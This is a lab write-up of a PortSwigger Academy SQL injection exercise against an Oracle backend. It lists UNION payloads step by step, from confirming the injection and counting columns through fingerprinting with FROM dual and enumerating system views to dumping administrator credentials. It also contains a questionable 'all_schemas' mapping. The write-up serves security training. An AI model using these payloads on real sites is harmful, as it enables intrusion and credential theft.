SQL Injection UNION Attack — Listing Database Contents (Oracle)¶

Field	Value
Platform	PortSwigger Web Security Academy
Vulnerability	SQL Injection — UNION Attack
Difficulty	Practitioner
Injection Point	`category` URL parameter
Goal	Enumerate tables and columns via Oracle system views, retrieve credentials, log in as `administrator`

Phase 1 — Reconnaissance¶

The application displays blog posts filtered by category. Selecting Gifts changes the URL:

/filter?category=Gifts

The underlying query is likely:

SELECT title, body FROM post WHERE category = 'Gifts'

Phase 2 — Confirming Injection¶

Adding a single quote breaks the query and returns a 500 error:

/filter?category=Gifts'

SELECT title, body FROM post WHERE category = 'Gifts''

Injection confirmed.

Phase 3 — Enumerate Column Count¶

Using ORDER BY to determine the number of columns returned:

/filter?category=Gifts' ORDER BY 6 -- -

Error. Reducing to 2:

/filter?category=Gifts' ORDER BY 2 -- -

200 OK — the query returns exactly 2 columns.

Phase 4 — Test Column Data Types and DB Fingerprint¶

Testing both columns with string placeholders:

/filter?category=Gifts' UNION SELECT 'test','test' -- -

This failed. Adding FROM dual:

/filter?category=Gifts' UNION SELECT 'test','test' FROM dual -- -

The injected values appeared on the page. The fact that UNION SELECT 'test','test' -- - failed but FROM dual succeeded is the fingerprint — this is an Oracle database. Oracle requires a FROM clause in every SELECT, and DUAL is the built-in dummy table used when no real table is needed. Both columns accept strings.

Phase 5 — Enumerate the Database Schema¶

Oracle does not support information_schema. The equivalent system views are:

-- List all tables accessible to the current user
SELECT table_name FROM all_tables

-- List columns for a specific table
SELECT column_name FROM all_tab_columns WHERE table_name = 'TARGET_TABLE'

Step 1 — List All Tables¶

/filter?category=Gifts' UNION SELECT 'test',table_name FROM all_tables -- -

A table named USERS_PZFRLD was returned among the results.

Step 2 — List Columns in `USERS_PZFRLD`¶

/filter?category=Gifts' UNION SELECT 'test',column_name FROM all_tab_columns WHERE table_name='USERS_PZFRLD' -- -

Two credential columns returned: USERNAME_EGRWXE and PASSWORD_SIBETB.

Phase 6 — Retrieve All Credentials¶

/filter?category=Gifts' UNION SELECT USERNAME_EGRWXE,PASSWORD_SIBETB FROM USERS_PZFRLD -- -

The administrator username and password were returned and rendered on the page. Logging in with those credentials solved the lab.

Conclusion¶

A single quote caused a 500 error, confirming injectable input.
ORDER BY enumeration confirmed 2 columns.
UNION SELECT 'test','test' -- - failed; adding FROM dual succeeded — confirming Oracle as the backend.
all_tables returned the target table USERS_PZFRLD; all_tab_columns returned the credential columns USERNAME_EGRWXE and PASSWORD_SIBETB.
A direct UNION SELECT on USERS_PZFRLD returned all credentials, including the administrator's password.

Key Concepts¶

Oracle enumeration vs information_schema — Oracle predates the information_schema standard and uses its own system views. The mapping is:

Non-Oracle (`information_schema`)	Oracle equivalent
`information_schema.schemata`	`all_schemas` / owner column in `all_tables`
`information_schema.tables`	`all_tables`
`information_schema.columns`	`all_tab_columns`

Oracle enumeration chain:

-- 1. List all accessible tables
SELECT table_name FROM all_tables

-- 2. List columns for a specific table
SELECT column_name FROM all_tab_columns WHERE table_name = 'TARGET_TABLE'

-- 3. Dump the target table
SELECT col1, col2 FROM TARGET_TABLE

FROM dual as the Oracle tell — dual is Oracle-specific. If UNION SELECT 'a','b' -- - fails and UNION SELECT 'a','b' FROM dual -- - succeeds, you are on Oracle. This single test gates the entire subsequent enumeration approach since information_schema does not exist there.

Table names in Oracle are uppercase by default — Oracle stores object names in uppercase unless they were created with quoted mixed-case identifiers. Always match the case shown in all_tables when querying all_tab_columns or the target table directly.